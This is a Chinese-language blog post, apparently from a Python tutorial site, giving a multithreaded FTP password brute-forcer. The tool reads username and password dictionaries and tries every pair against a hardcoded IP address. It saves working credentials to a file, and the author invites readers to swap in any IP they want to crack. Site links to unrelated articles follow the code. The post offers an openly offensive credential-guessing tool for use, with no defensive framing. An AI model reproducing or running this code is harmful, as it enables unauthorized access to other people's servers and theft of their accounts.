python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python中django框架通过正则搜索页面上email地址的方法
Mar 21 Python
一个基于flask的web应用诞生 bootstrap框架美化(3)
Apr 11 Python
Python读取图片为16进制表示简单代码
Jan 19 Python
python pandas 组内排序、单组排序、标号的实例
Apr 12 Python
Python3实现的爬虫爬取数据并存入mysql数据库操作示例
Jun 06 Python
python3通过selenium爬虫获取到dj商品的实例代码
Apr 25 Python
Flask配置Cors跨域的实现
Jul 12 Python
python分布式编程实现过程解析
Nov 08 Python
vue常用指令代码实例总结
Mar 16 Python
python实现UDP协议下的文件传输
Mar 20 Python
Python3合并两个有序数组代码实例
Aug 11 Python
python控制台打印log输出重复的解决方法
May 14 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
PHP网站提速三大“软”招
2006/10/09 PHP
php 模拟 asp.net webFrom 按钮提交事件实例
2014/10/13 PHP
PHP实现登录搜狐广告获取广告联盟数据的方法【附demo源码】
2016/10/14 PHP
javascript学习笔记(二) js一些基本概念
2012/06/18 Javascript
无缝滚动js代码通俗易懂(自写)
2013/06/19 Javascript
JavaScript 命名空间 使用介绍
2013/08/29 Javascript
jQuery实现鼠标可拖动调整表格列宽度
2014/05/26 Javascript
JavaScript前补零操作实例
2015/03/11 Javascript
js简单实现Select互换数据的方法
2015/08/17 Javascript
微信企业号开发之微信考勤百度地图定位
2015/09/11 Javascript
详解ES6 Promise的生命周期和创建
2019/08/18 Javascript
js实现复制粘贴的两种方法
2020/12/04 Javascript
详解为什么Vue中的v-if和v-for不建议一起用
2021/01/13 Vue.js
收藏整理的一些Python常用方法和技巧
2015/05/18 Python
python检查指定文件是否存在的方法
2015/07/06 Python
Python实现telnet服务器的方法
2015/07/10 Python
Linux中安装Python的交互式解释器IPython的教程
2016/06/13 Python
Python实现随机生成有效手机号码及身份证功能示例
2017/06/05 Python
Python实现购物系统(示例讲解)
2017/09/13 Python
安装docker-compose的两种最简方法
2019/07/30 Python
对Django 转发和重定向的实例详解
2019/08/06 Python
Python Pygame实现俄罗斯方块
2021/02/19 Python
浅谈amaze-ui中datepicker和datetimepicker注意的几点
2020/08/21 HTML / CSS
h5页面背景图很长要有滚动条滑动效果的实现
2021/01/27 HTML / CSS
ECCO爱步加拿大官网:北欧丹麦鞋履及皮具品牌
2017/07/08 全球购物
德国自行车商店:Tretwerk
2019/06/21 全球购物
魅力教师事迹材料
2014/01/10 职场文书
《宋庆龄故居的樟树》教学反思
2014/04/07 职场文书
活动策划求职信模板
2014/04/21 职场文书
品牌服务方案
2014/06/03 职场文书
大学生工作求职信
2014/06/23 职场文书
创建绿色社区汇报材料
2014/08/22 职场文书
2014乡党委副书记党建工作汇报材料
2014/11/02 职场文书
家长高考寄语
2015/02/27 职场文书
股东出资协议书
2016/03/21 职场文书
煤矿施工安全协议书
2016/03/22 职场文书